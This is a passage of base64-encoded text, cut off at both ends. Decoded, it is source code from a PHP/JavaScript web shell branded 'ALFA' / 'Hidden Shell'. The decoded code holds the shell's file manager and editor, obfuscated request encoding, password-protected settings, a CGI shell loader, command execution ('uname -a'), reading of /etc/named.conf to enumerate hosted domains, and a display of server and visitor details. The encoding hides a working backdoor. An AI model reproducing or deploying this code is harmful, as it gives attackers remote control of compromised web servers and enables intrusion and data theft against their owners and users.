vci1maWxlLW5hbWVcJz4iK2VkaXRvcl9maWxlc1tpZF0uZmlsZSsiPC9kaXY+IjsNCgkJCWVkaXRvcl9maWxlc1tpZF0udHlwZSA9IGU7DQoJCX0pOw0KCX0NCgl2YXIgaW1nID0gXCc8aW1nIHNyYz0iaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy97dHlwZX0iIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCI+XCc7DQoJaWYodHlwZSA9PSAiZmlsZSIpew0KCQl0eXBlID0gZmlsZS5zcGxpdCgiLiIpOw0KCQl0eXBlICA9IHR5cGVbdHlwZS5sZW5ndGggLSAxXS50b0xvd2VyQ2FzZSgpOw0KCQl2YXIgdHlwZXMgPSBbImpzb24iLCJwcHQiLCJwcHR4IiwieGxzIiwieGxzeCIsIm1zaSIsImNvbmZpZyIsImNnaSIsInBtIiwiYyIsImNwcCIsImNzIiwiamF2YSIsImFzcHgiLCJhc3AiLCJkYiIsInR0ZiIsImVvdCIsIndvZmYiLCJ3b2ZmMiIsIndvZmYiLCJjb25mIiwibG9nIiwiYXBrIiwiY2FiIiwiYnoyIiwidGd6IiwiZG1nIiwiaXpvIiwiamFyIiwiN3oiLCJpc28iLCJyYXIiLCJiYXQiLCJzaCIsImFsZmEiLCJneiIsInRhciIsInBocCIsInBocDQiLCJwaHA1IiwicGh0bWwiLCJodG1sIiwieGh0bWwiLCJzaHRtbCIsImh0bSIsInppcCIsInBuZyIsImpwZyIsImpwZWciLCJnaWYiLCJibXAiLCJpY28iLCJ0eHQiLCJqcyIsInJiIiwicHkiLCJ4bWwiLCJjc3MiLCJzcWwiLCJodGFjY2VzcyIsInBsIiwiaW5pIiwiZGxsIiwiZXhlIiwibXAzIiwibXA0IiwibTRhIiwibW92IiwiZmx2Iiwic3dmIiwibWt2IiwiYXZpIiwid212IiwibXBnIiwibXBlZyIsImRhdCIsInBkZiIsIjNncCIsImRvYyIsImRvY3giLCJkb2NtIl07DQoJCWlmKHR5cGVzLmluZGV4T2YodHlwZSkgPT0gLTEpew0KCQkJdHlwZSA9ICJub3Rmb3VuZCI7DQoJCX0NCgl9ZWxzZXsNCgkJdHlwZSA9ICJmb2xkZXIiOw0KCX0NCglyZXR1cm4gaW1nLnJlcGxhY2UoInt0eXBlfSIsICB0eXBlICsgIi5wbmciKTsNCn0NCmZ1bmN0aW9uIHVwZGF0ZURpcnNFZGl0b3IoZmlkLCBmbmFtZSl7DQoJdmFyIGN1cnJlbnRfcGF0aCA9IGQubWYuYy52YWx1ZSArICIvIjsNCgl2YXIgb2xkcGF0aCAgPSBlZGl0b3JfZmlsZXNbZmlkXS5wd2QgKyAiLyIgKyBmbmFtZSArICIvIjsNCgl2YXIgbmV3cGF0aCAgPSBlZGl0b3JfZmlsZXNbZmlkXS5wd2QgKyAiLyIgKyBlZGl0b3JfZmlsZXNbZmlkXS5maWxlICsgIi8iOw0KCW9sZHBhdGggPSBvbGRwYXRoLnJlcGxhY2UoL1wvXC8vZywgIi8iKTsNCgluZXdwYXRoID0gbmV3cGF0aC5yZXBsYWNlKC9cL1wvL2csICIvIik7DQoJY3VycmVudF9wYXRoID0gY3VycmVudF9wYXRoLnJlcGxhY2UoL1wvXC8vZywgIi8iKTsNCglpZihjdXJyZW50X3BhdGguc2VhcmNoKG9sZHBhdGgpICE9IC0xKXsNCgkJaW5pdERpcihjdXJyZW50X3BhdGgucmVwbGFjZShvbGRwYXRoLCBuZXdwYXRoKSk7DQoJCWQubWYuYy52YWx1ZSA9IGN1cnJlbnRfcGF0aC5yZXBsYWNlKG9sZHBhdGgsIG5ld3BhdGgpOw0KCQlfQWpheChkLlVSTCwiYT0iK2FsZmFiNjQoInVwZGF0ZXBhdGgiKSsiJnBhdGg9IithbGZhYjY0KGQubWYuYy52YWx1ZSksZnVuY3Rpb24oZSl7Y29uc29sZS5sb2coZSl9KTsNCgl9DQoJZm9yKHZhciBpIGluIGVkaXRvcl9maWxlcyl7DQoJCXZhciBwYXRoID0gZWRpdG9yX2ZpbGVzW2ldLnB3ZCArICIvIjsNCgkJcGF0aCA9IHBhdGgucmVwbGFjZSgvXC9cLy9nLCAiLyIpOw0KCQlpZihwYXRoLnNlYXJjaChvbGRwYXRoKSAhPSAtMSl7DQoJCQllZGl0b3JfZmlsZXNbaV0ucHdkID0gcGF0aC5yZXBsYWNlKG9sZHBhdGgsIG5ld3BhdGgpOw0KCQl9DQoJfQ0KCXZhciByZWcxID0gbmV3IFJlZ0V4cCgiXCciK29sZHBhdGguc2xpY2UoMCwgLTEpKyJcJyIpOw0KCXZhciByZWcyID0gbmV3IFJlZ0V4cChmbmFtZSArICIgXFxcfDwvYj48L2E+Iik7DQoJZC5maWxlcy5pbm5lckhUTUwgPSBkLmZpbGVzLmlubmVySFRNTC5yZXBsYWNlKHJlZzEsICJcJyIrbmV3cGF0aC5zbGljZSgwLCAtMSkrIlwnIik7DQoJZC5maWxlcy5pbm5lckhUTUwgPSBkLmZpbGVzLmlubmVySFRNTC5yZXBsYWNlKHJlZzIsIGVkaXRvcl9maWxlc1tmaWRdLmZpbGUrIiB8PC9iPjwvYT4iKTsNCgl1cGRhdGVDb29raWVFZGl0b3IoKTsNCn0NCmZ1bmN0aW9uIHVwZGF0ZUNvb2tpZUVkaXRvcigpew0KCXNldENvb2tpZSgiYWxmYV9oaXN0b3J5X2ZpbGVzIiwgSlNPTi5zdHJpbmdpZnkoZWRpdG9yX2ZpbGVzKSwgMjAxMik7DQp9DQpmdW5jdGlvbiBzZXRFZGl0b3JUaXRsZShmaWQsIG1vZGUpew0KCWlmKG1vZGUgPT0gIm91dCIgJiYgZWRpdG9yX2N1cnJlbnRfZmlsZSAhPSAiIil7DQoJCWZpZCA9IGVkaXRvcl9jdXJyZW50X2ZpbGU7DQoJfQ0KCWlmKGVkaXRvcl9maWxlc1tmaWRdKXsNCgkJZC5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKCJlZGl0b3ItcGF0aCIpWzBdLmlubmVySFRNTCA9IChlZGl0b3JfZmlsZXNbZmlkXS5wd2QgKyAiLyIgKyBlZGl0b3JfZmlsZXNbZmlkXS5maWxlKS5yZXBsYWNlKC9cL1wvL2csICIvIik7DQoJfQ0KfQ0KZnVuY3Rpb24gcmVtb3ZlSGlzdG9yeShlbCl7DQoJZGVsZXRlIGVkaXRvcl9maWxlc1tlbF07DQoJaWYoJChlbCkpew0KCQkkKGVsKS5wYXJlbnROb2RlLnBhcmVudE5vZGUucmVtb3ZlQ2hpbGQoJChlbCkucGFyZW50Tm9kZSk7DQoJfQ0KCXZhciBlbG0gPSBkLmdldEVsZW1lbnRzQnlDbGFzc05hbWUoImZpbGVzdG9vbHMiKVswXTsNCglpZihlbG0pew0KCQlpZihlbG0uZ2V0QXR0cmlidXRlKCJmaWQiKSA9PSBlbCl7DQoJCQllbG0ub3V0ZXJIVE1MID0gIiI7DQoJCX0NCgl9DQoJaWYoZWRpdG9yX2N1cnJlbnRfZmlsZSA9PSBlbCl7DQoJCWVkaXRvcl9jdXJyZW50X2ZpbGUgPSAiIjsNCgl9DQoJdXBkYXRlQ29va2llRWRpdG9yKCk7DQp9DQpmdW5jdGlvbiBnZXRSYW5kb20oZSl7DQoJZm9yKHZhciBpID0gInVuZGVmaW5lZCIgPT0gdHlwZW9mIGUgPyAyMCA6IGUsIHQgPSAiIiwgcyA9ICIwMTIzNDU2Nzg5YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXpBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWiIsIG4gPSBpOyBuID4gMDsgLS1uKSB0ICs9IHNbTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogcy5sZW5ndGgpXTsNCglyZXR1cm4gdA0KfQ0KZnVuY3Rpb24gcmVvcGVuKGVsKXsNCgl2YXIgZmlsZV9pZCA9IGVsLmdldEF0dHJpYnV0ZSgiaWQiKQ0KCXZhciBwd2QgPSBlZGl0b3JfZmlsZXNbZmlsZV9pZF0ucHdkOw0KCXZhciBmaWxlbmFtZSA9IGVkaXRvcl9maWxlc1tmaWxlX2lkXS5maWxlOw0KCWVkaXRvcihmaWxlbmFtZSwgImF1dG8iLCAiIiwgcHdkLCBmaWxlX2lkKTsNCn0NCmZ1bmN0aW9uIGNvcHlUb0NsaXBib2FyZChlbCl7DQoJdmFyIG5vZGUgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChlbCk7DQoJaWYoZG9jdW1lbnQuc2VsZWN0aW9uKXsNCgkJdmFyIHJhbmdlID0gZG9jdW1lbnQuYm9keS5jcmVhdGVUZXh0UmFuZ2UoKTsNCgkJcmFuZ2UubW92ZVRvRWxlbWVudFRleHQoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoZWwpKTsNCgkJcmFuZ2Uuc2VsZWN0KCk7DQoJCWRvY3VtZW50LmV4ZWNDb21tYW5kKCJDb3B5Iik7DQoJCWFsZXJ0KCJ0ZXh0IGNvcGllZCIpOw0KCX1lbHNlIGlmICh3aW5kb3cuZ2V0U2VsZWN0aW9uKCkpew0KCQl2YXIgcmFuZ2UgPSBkb2N1bWVudC5jcmVhdGVSYW5nZSgpOw0KCQlyYW5nZS5zZWxlY3ROb2RlKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGVsKSk7DQoJCXdpbmRvdy5nZXRTZWxlY3Rpb24oKS5yZW1vdmVBbGxSYW5nZXMoKTsNCgkJd2luZG93LmdldFNlbGVjdGlvbigpLmFkZFJhbmdlKHJhbmdlKTsNCgkJZG9jdW1lbnQuZXhlY0NvbW1hbmQoImNvcHkiKTsNCgkJYWxlcnQoInRleHQgY29waWVkIik7DQoJfQ0KfQ0KZnVuY3Rpb24gZW5jcnlwdChzdHIsIHB3ZCkgew0KCWlmIChwd2QgPT0gbnVsbCB8fCBwd2QubGVuZ3RoIDw9IDApIHsNCgkJcmV0dXJuIG51bGw7DQoJfQ0KCXN0ciA9IGFsZmFiNjQoc3RyLCB0cnVlKTsNCglwd2QgPSBhbGZhYjY0KHB3ZCwgdHJ1ZSk7DQoJdmFyIGVuY19jaHIgPSAiIjsNCgl2YXIgZW5jX3N0ciA9ICIiOw0KCXZhciBpID0gMDsNCgl3aGlsZSAoaSA8IHN0ci5sZW5ndGgpIHsNCgkJZm9yICh2YXIgaiA9IDA7IGogPCBwd2QubGVuZ3RoOyBqKyspIHsNCgkJCWVuY19jaHIgPSBzdHIuY2hhckNvZGVBdChpKSBeIHB3ZC5jaGFyQ29kZUF0KGopOw0KCQkJZW5jX3N0ciArPSBTdHJpbmcuZnJvbUNoYXJDb2RlKGVuY19jaHIpOw0KCQkJaSsrOw0KCQkJaWYgKGkgPj0gc3RyLmxlbmd0aCkgYnJlYWs7DQoJCX0NCgl9DQoJcmV0dXJuIGFsZmFiNjQoZW5jX3N0ciwgdHJ1ZSk7DQp9DQpmdW5jdGlvbiByZWxvYWRTZXR0aW5nKGUpew0KYWxmYWxvYWRlcigiYmxvY2siKTsNCl9BamF4KGQuVVJMLCJhPSIrYWxmYWI2NCgic2V0dGluZ3MiKSsiJmFsZmExPSIrYWxmYWI2NChlLnByb3RlY3QudmFsdWUpKyImYWxmYTI9IithbGZhYjY0KGUubGdwYWdlLnZhbHVlKSsiJmFsZmEzPSIrYWxmYWI2NChlLnVzZXJuYW1lLnZhbHVlKSsiJmFsZmE0PSIrYWxmYWI2NChlLnBhc3N3b3JkLnZhbHVlKSsiJmFsZmE1PSIrYWxmYWI2NCgiPj4iKSsiJmFsZmE2PSIrYWxmYWI2NChlLmljb24udmFsdWUpKyImYWxmYTc9IithbGZhYjY0KGUucG9zdF9lbmNyeXB0LnZhbHVlKSsiJmFsZmE4PSIrYWxmYWI2NCgibWFpbiIpKyImYz0iK2FsZmFiNjQoY18pKyImYWpheD0iK2FsZmFiNjQoInRydWUiKSxmdW5jdGlvbihhKXtldmFsSlMoYSksYWxmYWxvYWRlcigibm9uZSIpfSx0cnVlKTsNCmlmKGUuZS52YWx1ZT09MCYmZS5wcm90ZWN0LnZhbHVlPT0xKXNldFRpbWVvdXQoImxvY2F0aW9uLnJlbG9hZCgpIiwxMDAwKTsNCmlmKGUucy52YWx1ZSE9ZS5pY29uLnZhbHVlKXNldFRpbWVvdXQoImxvY2F0aW9uLnJlbG9hZCgpIiwxMDAwKTsNCnJldHVybiBmYWxzZQ0KfQ0KZnVuY3Rpb24gcmVsb2FkQ29sb3JzKGNvbmZpZyl7DQoJdmFyIG9iaiA9IHt9Ow0KCWlmKHR5cGVvZiBjb25maWcgPT0gInVuZGVmaW5lZCIpew0KCQlkLnF1ZXJ5U2VsZWN0b3JBbGwoIi5jb2xvcnNfaW5wdXQiKS5mb3JFYWNoKGZ1bmN0aW9uKGUpew0KCQkJdmFyIGlkID0gZS5nZXRBdHRyaWJ1dGUoInRhcmdldCIpLnJlcGxhY2UoIi4iLCAiIik7DQoJCQlvYmpbaWRdID0gZS52YWx1ZTsNCgkJfSk7DQoJfWVsc2V7DQoJCW9iaiA9IGNvbmZpZzsNCgl9DQoJYWxmYWxvYWRlcigiYmxvY2siKTsNCgl2YXIgY2hlY2RrID0gKCQoInVzZV9kZWZhdWx0X2NvbG9yIikuY2hlY2tlZD8iMSI6IjAiKTsNCglfQWpheChkLlVSTCwiYT0iK2FsZmFiNjQoInNldHRpbmdzIikrIiZhbGZhMT0iK2FsZmFiNjQoSlNPTi5zdHJpbmdpZnkob2JqKSkrIiZhbGZhMj0iK2FsZmFiNjQoIj4+IikrIiZhbGZhMz0iK2FsZmFiNjQoY2hlY2RrKSsiJmFsZmE4PSIrYWxmYWI2NCgiY29sb3IiKSsiJmM9IithbGZhYjY0KGNfKSsiJmFqYXg9IithbGZhYjY0KCJ0cnVlIiksZnVuY3Rpb24oZSl7YWxmYWxvYWRlcigibm9uZSIpO2V2YWxKUyhlKTt9LHRydWUpOw0KfQ0KZnVuY3Rpb24gYWxmYWI2NChhLCBub3JtYWwpew0KCWlmKHR5cGVvZiBub3JtYWwgIT0gInVuZGVmaW5lZCIgfHwgcG9zdF9lbmNyeXB0aW9uX21vZGUgPT0gZmFsc2Upew0KCQlyZXR1cm4gd2luZG93LmJ0b2EodW5lc2NhcGUoZW5jb2RlVVJJQ29tcG9uZW50KGEpKSk7DQoJfQ0KCXJldHVybiBlbmNyeXB0KGEsICInLl9BbGZhU2VjcmV0S2V5KCkuJyIpOw0KfQ0KZnVuY3Rpb24gZXZhbENzcyhqY3NzKXsNCgl2YXIgc3R5bGUgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJzdHlsZSIpOw0KCWlmIChzdHlsZS5zdHlsZVNoZWV0KSB7DQoJCXN0eWxlLnN0eWxlU2hlZXQuY3NzVGV4dCA9IGpjc3M7DQoJfSBlbHNlIHsNCgkJc3R5bGUuYXBwZW5kQ2hpbGQoZG9jdW1lbnQuY3JlYXRlVGV4dE5vZGUoamNzcykpOw0KCX0NCglkLmdldEVsZW1lbnRzQnlUYWdOYW1lKCJoZWFkIilbMF0uYXBwZW5kQ2hpbGQoc3R5bGUpOw0KfQ0KZnVuY3Rpb24gY29sb3JIYW5kbGVyS2V5KGVsKXsNCglzZXRUaW1lb3V0KGZ1bmN0aW9uKGUpew0KCQljb2xvckhhbmRsZXIoZWwpOw0KCX0sIDIwMCk7DQp9DQpmdW5jdGlvbiBjb2xvckhhbmRsZXIoZWwpew0KCXZhciB0YXJnZXQgPSBlbC5nZXRBdHRyaWJ1dGUoInRhcmdldCIpOw0KCXZhciBtdWx0aSA9IGVsLmdldEF0dHJpYnV0ZSgibXVsdGkiKTsNCgl2YXIgaXNob3ZlciA9IHRhcmdldC5pbmRleE9mKCI6aG92ZXIiKTsNCglpZihtdWx0aSl7DQoJCXZhciBhcnJheSA9IEpTT04ucGFyc2UoYXRvYihtdWx0aSkpOw0KCQl2YXIgamNzcyA9ICIiOw0KCQlmb3IoaSBpbiBhcnJheS5tdWx0aV9zZWxlY3Rvcil7DQoJCQlqY3NzICs9IGkgKyAieyIrYXJyYXkubXVsdGlfc2VsZWN0b3JbaV0ucmVwbGFjZSgve2NvbG9yfS9nLCBlbC52YWx1ZSkrIn0iOw0KCQl9DQoJCWV2YWxDc3MoamNzcyk7DQoJfQ0KCWlmKGlzaG92ZXIgIT0gLTEgJiYgIW11bHRpKXsNCgkJJCgiaW5wdXRfIiArIHRhcmdldC5yZXBsYWNlKCIuIiwiIikpLnZhbHVlID0gZWwudmFsdWU7DQoJCSQoImd1aV8iICsgdGFyZ2V0LnJlcGxhY2UoIi4iLCIiKSkudmFsdWUgPSBlbC52YWx1ZTsNCgkJdmFyIGNzcyA9IHRhcmdldCsie2NvbG9yOiAiK2VsLnZhbHVlKyI7fSI7DQoJCWV2YWxDc3MoY3NzKTsNCgl9ZWxzZXsNCgkJJCgiaW5wdXRfIiArIHRhcmdldC5yZXBsYWNlKCIuIiwiIikpLnZhbHVlID0gZWwudmFsdWU7DQoJCSQoImd1aV8iICsgdGFyZ2V0LnJlcGxhY2UoIi4iLCIiKSkudmFsdWUgPSBlbC52YWx1ZTsNCgkJaWYodGFyZ2V0ID09ICIuaGVhZGVyX3ZhbHVlcyIpew0KCQkJdGFyZ2V0ID0gIi5oZWFkZXIsLmhlYWRlcl92YWx1ZXMiOw0KCQl9DQoJCWQucXVlcnlTZWxlY3RvckFsbCh0YXJnZXQpLmZvckVhY2goZnVuY3Rpb24oZSl7DQoJCQllLnN0eWxlLmNvbG9yID0gZWwudmFsdWU7DQoJCX0pOw0KCX0NCn0NCmZ1bmN0aW9uIGltcG9ydENvbmZpZyhldmVudCl7DQoJdmFyIGlucHV0ID0gZXZlbnQudGFyZ2V0Ow0KICAgIHZhciByZWFkZXIgPSBuZXcgRmlsZVJlYWRlcigpOw0KICAgIHJlYWRlci5vbmxvYWQgPSBmdW5jdGlvbigpew0KICAgICAgdmFyIGRhdGEgPSByZWFkZXIucmVzdWx0Ow0KCSAgdHJ5ew0KCQkgIHZhciBjb25mID0gSlNPTi5wYXJzZShkYXRhKTsNCgkJICByZWxvYWRDb2xvcnMoY29uZik7DQoJICB9Y2F0Y2goZSl7DQoJCSAgYWxlcnQoIkNvbmZpZyBpcyBpbnZhbGlkLi4uISIpOw0KCSAgfQ0KCSAgJCgiaW1wb3J0RmlsZUJ0biIpLnZhbHVlID0gIiI7DQogICAgfTsNCiAgICByZWFkZXIucmVhZEFzVGV4dChpbnB1dC5maWxlc1swXSk7DQp9DQpmdW5jdGlvbiBjaGVja0JveCgpe2ZvcihpPTA7aTxkLmZpbGVzLmVsZW1lbnRzLmxlbmd0aDtpKyspe2lmKGQuZmlsZXMuZWxlbWVudHNbaV0udHlwZSA9PSAiY2hlY2tib3giKXtkLmZpbGVzLmVsZW1lbnRzW2ldLmNoZWNrZWQgPSBkLmZpbGVzLmVsZW1lbnRzWzBdLmNoZWNrZWQ7fX19DQpmdW5jdGlvbiBwYXRoX2hpc3RvcnkocG9zKXsNCglfQWpheChkLlVSTCwiYT0iK2FsZmFiNjQoIkdldFBhdGhIaXN0b3J5IikrIiZhamF4PSIrYWxmYWI2NCgidHJ1ZSIpLGZ1bmN0aW9uKGUpe2coIkZpbGVzTWFuIiwgZSk7fSx0cnVlKTsNCn0NCmZ1bmN0aW9uIHJ1bmNnaShsYW5nKXsNCglpZihjZ2lfaXNfbWluaW1pemVkICYmIGNnaV9sYW5nID09IGxhbmcpew0KCQlzaG93RWRpdG9yKCJjZ2lsb2FkZXIiKTsNCgkJcmV0dXJuIGZhbHNlOw0KCX0NCglfQWpheChkLlVSTCwiYT0iK2FsZmFiNjQoImNnaXNoZWxsIikrIiZhbGZhMT0iK2FsZmFiNjQobGFuZykrIiZhamF4PSIrYWxmYWI2NCgidHJ1ZSIpLGZ1bmN0aW9uKGUpew0KCQlkLmJvZHkuc3R5bGUub3ZlcmZsb3cgPSAiaGlkZGVuIjsNCgkJJCgiY2dpbG9hZGVyIikuc3R5bGUuZGlzcGxheSA9ICJibG9jayI7DQoJCSQoImNnaWZyYW1lIikuaW5uZXJIVE1MID0gZTsNCgkJY2dpX2xhbmcgPSBsYW5nOw0KCQlpZihjZ2lfaXNfbWluaW1pemVkKXsNCgkJCSQoImNnaWxvYWRlci1taW5pbWl6ZWQiKS5zZXRBdHRyaWJ1dGUoImNsYXNzIiwgIm1pbmltaXplZC1oaWRlIik7DQoJCQlzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7DQoJCQkJJCgiY2dpbG9hZGVyIikucmVtb3ZlQXR0cmlidXRlKCJjbGFzcyIpOw0KCQkJCWlmKGlzX21pbmltaXplZCl7DQoJCQkJCSQoImVkaXRvci1taW5pbWl6ZWQiKS5zdHlsZS50b3AgPSAiMzAlIjsNCgkJCQl9DQoJCQl9LCAxMDAwKTsNCgkJfQ0KCX0pOw0KfQ0KJzsNCmVjaG8gIjwvc2NyaXB0Pg0KPGZvcm0gc3R5bGU9J2Rpc3BsYXk6bm9uZTsnIGlkPSdkbEZvcm0nIGFjdGlvbj0nJyB0YXJnZXQ9J19ibGFuaycgbWV0aG9kPSdwb3N0Jz4NCjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2EnIHZhbHVlPSdkbGZpbGUnPg0KPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nYycgdmFsdWU9Jyc+DQo8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdmaWxlJyB2YWx1ZT0nJz4NCjwvZm9ybT4NCjxpbnB1dCB0eXBlPSdmaWxlJyBzdHlsZT0nZGlzcGxheTpub25lOycgaWQ9J2ltcG9ydEZpbGVCdG4nIG9uY2hhbmdlPSdpbXBvcnRDb25maWcoZXZlbnQpOyc+DQo8aW1nIGlkPSdhX2xvYWRlcicgc3JjPSciLl9fc2hvd2ljb24oJ2xvYWRlcicpLiInPiI7DQokY21kX3VuYW1lID0gYWxmYUV4KCJ1bmFtZSAtYSIsZmFsc2UsZmFsc2UpOw0KJHVuYW1lID0gZnVuY3Rpb25fZXhpc3RzKCdwaHBfdW5hbWUnKSA/IHN1YnN0cihAcGhwX3VuYW1lKCksIDAsIDEyMCkgOiAoc3RybGVuKCRjbWRfdW5hbWUpPjA/JGNtZF91bmFtZTonKCBwaHBfdW5hbWUgKSBGdW5jdGlvbiBEaXNhYmxlZCAhJyk7DQppZigkdW5hbWU9PSIoIHBocF91bmFtZSApIEZ1bmN0aW9uIERpc2FibGVkICEiKXskR0xPQkFMU1sibmVlZF90b191cGRhdGVfaGVhZGVyIl09InRydWUiO30NCmVjaG8gJw0KPC9oZWFkPg0KPGJvZHkgYmdjb2xvcj0iIzAwMDAwMCIgbGVmdG1hcmdpbj0iMCIgdG9wbWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIj4NCjxkaXYgaWQ9InVwX2JhciI+PC9kaXY+DQo8ZGl2IGNsYXNzPSJ3aG9sZSI+DQo8Zm9ybSBtZXRob2Q9InBvc3QiIG5hbWU9Im1mIiBzdHlsZT0iZGlzcGxheTpub25lOyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImMiIHZhbHVlPSInLiRHTE9CQUxTWydjd2QnXS4nIj4nOw0KZm9yKCRzPTE7JHM8PTEwOyRzKyspew0KZWNobyAnPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWxmYScuJHMuJyI+JzsNCn0NCmVjaG8gJzxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImNoYXJzZXQiPg0KPC9mb3JtPg0KPGRpdiBpZD1cJ2hpZGRlbl9zaFwnPjxhIGNsYXNzPSJhbGVydF9ncmVlbiIgdGFyZ2V0PSJfYmxhbmsiIGhyZWY9Ij9zb2xldmlzaWJsZSI+SGlkZGVuIFNoZWxsPGJyPjxzbWFsbD5WZXJzaW9uOiA8c3BhbiBjbGFzcz0iaGlkZGVuX3NoZWxsX3ZlcnNpb24iPicuX19BTEZBX1ZFUlNJT05fXy4nPC9zcGFuPjwvc21hbGw+PC9hPjwvZGl2Pg0KPGRpdiBjbGFzcz0iaGVhZGVyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCI+DQo8dHI+DQo8dGQgd2lkdGg9IjMlIj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPlVuYW1lOjwvc3Bhbj48L3RkPg0KPHRkIGNvbHNwYW49IjIiPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFsdWVzIiBpZD0iaGVhZGVyX3VuYW1lIj4nLiR1bmFtZS4nPC9zcGFuPjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+VXNlcjo8L3NwYW4+PC90ZD4NCjx0ZD48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhbHVlcyIgaWQ9ImhlYWRlcl91c2VyaWQiPicuICR1aWQgLiAnIFsgJyAuICR1c2VyIC4gJyBdIDwvc3Bhbj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPiBHcm91cDogPC9zcGFuPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFsdWVzIiBpZD0iaGVhZGVyX2dyb3VwaWQiPicgLiAkZ2lkIC4gJyBbICcgLiAkZ3JvdXAgLiAnIF08L3NwYW4+IDwvdGQ+DQo8dGQgd2lkdGg9IjEyJSIgcm93c3Bhbj0iOCI+PGltZyBzdHlsZT0iYm9yZGVyLXJhZGl1czoxMDBweDsiIHdpZHRoPSIzMDAiIGhlaWdodD0iMTcwIiBhbHQ9IiIgc3JjPSJodHRwOi8vc29sZXZpc2libGUuY29tL2ltYWdlcy9hbGZhLWlyYW4ucG5nIiAvPjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+UEhQOjwvc3Bhbj48L3RkPg0KPHRkPjxiPicuQHBocHZlcnNpb24oKS4gJyA8L2I+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj4gU2FmZSBNb2RlOiAnLiRzYWZlX21vZGVzLic8L3NwYW4+PC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5TZXJ2ZXJJUDo8L3NwYW4+PC90ZD4NCjx0ZD48Yj4nLighQCRfU0VSVkVSWyJTRVJWRVJfQUREUiJdPyhmdW5jdGlvbl9leGlzdHMoImdldGhvc3RieW5hbWUiKT9AZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSk6Jz8/Pz8nKTpAJF9TRVJWRVJbIlNFUlZFUl9BRERSIl0pLicgPHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5Zb3VyIElQOjwvc3Bhbj48Yj4gJy5AJF9TRVJWRVJbIlJFTU9URV9BRERSIl0uJzwvYj48L3RkPg0KPC90cj4NCjx0cj4NCjx0ZCB3aWR0aD0iMyUiPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+RGF0ZVRpbWU6PC9zcGFuPjwvdGQ+DQo8dGQgY29sc3Bhbj0iMiI+PGI+Jy5kYXRlKCdZLW0tZCBIOmk6cycpLic8L2I+PC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5Eb21haW5zOjwvc3Bhbj48L3RkPg0KPHRkIHdpZHRoPSI3NiUiPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFsdWVzIiBpZD0iaGVhZGVyX2RvbWFpbnMiPic7DQppZigkR0xPQkFMU1snc3lzJ109PSd1bml4Jyl7DQokZDBtYWlucyA9IF9hbGZhX2ZpbGUoIi9ldGMvbmFtZWQuY29uZiIsZmFsc2UpOw0KaWYoISRkMG1haW5zKXtlY2hvICJDYW50IFJlYWQgWyAvZXRjL25hbWVkLmNvbmYgXSI7JEdMT0JBTFNbIm5lZWRfdG9fdXBkYXRlX2hlYWRlciJdPSJ0cnVlIjt9ZWxzZXsNCiRjb3VudD0wOw0KZm9yZWFjaCgkZDBtYWlucyBhcyAkZDBtYWluKXsNCmlmKEBzdHJzdHIoJGQwbWFpbiwiem9uZSIpKXsNCnByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIjJywgJGQwbWFpbiwgJGRvbWFpbnMpOw0KZmx1c2goKTsNCmlmKHN0cmxlbih0cmltKCRkb21haW5zWzFdWzBdKSkgPiAyKXsNCmZsdXNoKCk7DQokY291bnQrKzt9fX0NCmVjaG8gIiRjb3VudCBEb21haW5zIjt9fQ0KZWxzZXtlY2hvKCJDYW50IFJlYWQgWyAvZXRjL25hbWVkLmNvbmYgXSIpO30NCmVjaG8gJzwvc3Bhbj48L3RkPg0KPC90cj4NCjx0cj4NCjx0ZCBoZWlnaHQ9IjE2Ij48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPkhERDo8L3NwYW4+PC90ZD4NCjx0ZD48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPlRvdGFsOjwvc3Bhbj48Yj4nLmFsZmFTaXplKCR0b3RhbFNwYWNlKS4nIDwvYj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPkZyZWU6PC9zcGFuPjxiPicgLiBhbGZhU2l6ZSgkZnJlZVNwYWNlKSAuICcgWycuIChpbnQpICgkZnJlZVNwYWNlLyR0b3RhbFNwYWNlKjEwMCkgLiAnJV08L2I+PC90ZD4NCjwvdHI+JzsNCmlmKCRHTE9CQUxTWydzeXMnXT09J3VuaXgnKXsNCiR